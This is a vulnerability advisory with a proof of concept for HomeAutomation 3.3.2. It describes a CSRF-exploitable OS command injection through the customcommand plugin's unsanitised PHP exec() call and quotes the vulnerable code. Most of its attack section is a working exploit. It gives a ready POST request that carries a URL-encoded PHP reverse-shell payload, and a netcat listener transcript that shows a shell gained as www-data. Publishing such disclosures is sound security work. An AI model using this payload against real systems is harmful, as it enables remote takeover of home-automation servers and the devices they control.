HomeAutomation 3.3.2 CSRF / Code Execution

`  
HomeAutomation v3.3.2 CSRF Remote Command Execution (PHP Reverse Shell) PoC  
  
Vendor: Tom Rosenback and Daniel Malmgren  
Product web page: http://karpero.mine.nu/ha/  
Affected version: 3.3.2  
  
Summary: HomeAutomation is an open-source web interface and scheduling solution.  
It was initially made for use with the Telldus TellStick, but is now based on a  
plugin system and except for Tellstick it also comes with support for Crestron,  
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,  
etc.) based on an advanced scheduling system, taking into account things like  
measurements from various sensors. With the houseplan view you can get a simple  
overview of the status of your devices at their location in your house.  
  
Desc: The application suffers from an authenticated OS command execution vulnerability  
using custom command v0.1 plugin. This can be exploited with CSRF vulnerability to  
execute arbitrary shell commands as the web user via the 'set_command_on' and 'set_command_off'  
POST parameters in '/system/systemplugins/customcommand/customcommand.plugin.php' by  
using an unsanitized PHP exec() function.  
  
===============================================================================  
/system/systemplugins/customcommand/customcommand.plugin.php:  
-------------------------------------------------------------  
  
77: function toggleDevices($devicesToToggle, $statuses) {  
78: $output = array();  
79: $command = "";  
80:   
81: foreach($devicesToToggle as $device)  
82: {  
83: $status = $statuses[$device["id"]];  
84: if($status == 0) {  
85: $command = $this->getSettings("command_off");  
86: } else {  
87: $command = $this->getSettings("command_on");  
88: }  
89:   
90: if(!empty($command)) {  
91: $command = replaceCustomStrings($command, $device, $statuses[$device["id"]]);  
92:   
93: exec($command, $output);  
94:   
95: SaveLog("Command: ".$command."\nOutput:\n".parseExecOutputToString($output));  
96: }  
97: }  
98:   
99: return "";  
100: }  
===============================================================================  
  
Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips  
Apache/2.4.29 (Ubuntu)  
PHP/7.4.0RC4  
PHP/7.3.11  
PHP 7.2.24-0ubuntu0.18.04.1  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2019-5560  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5560.php  
  
  
06.11.2019  
  
--  
  
  
POST /homeautomation_v3_3_2/?page=conf-systemplugins HTTP/1.1  
  
plugin=customcommand&action=savesettings&set_command_on=php+-r+%27%24sock%3Dfsockopen%28%22127.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh+-i+%3C%263+%3E%263+2%3E%263%22%29%3B%27&set_command_off=&savesettings=Save  
  
-  
  
lqwrm@metalgear:/$ nc -lvp 4444  
Listening on [0.0.0.0] (family 0, port 4444)  
Connection from localhost 40724 received!  
/bin/sh: 0: can't access tty; job control turned off  
$ id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
$ pwd  
/var/www/html/homeautomation_v3_3_2  
$ exit  
lqwrm@metalgear:/$   
`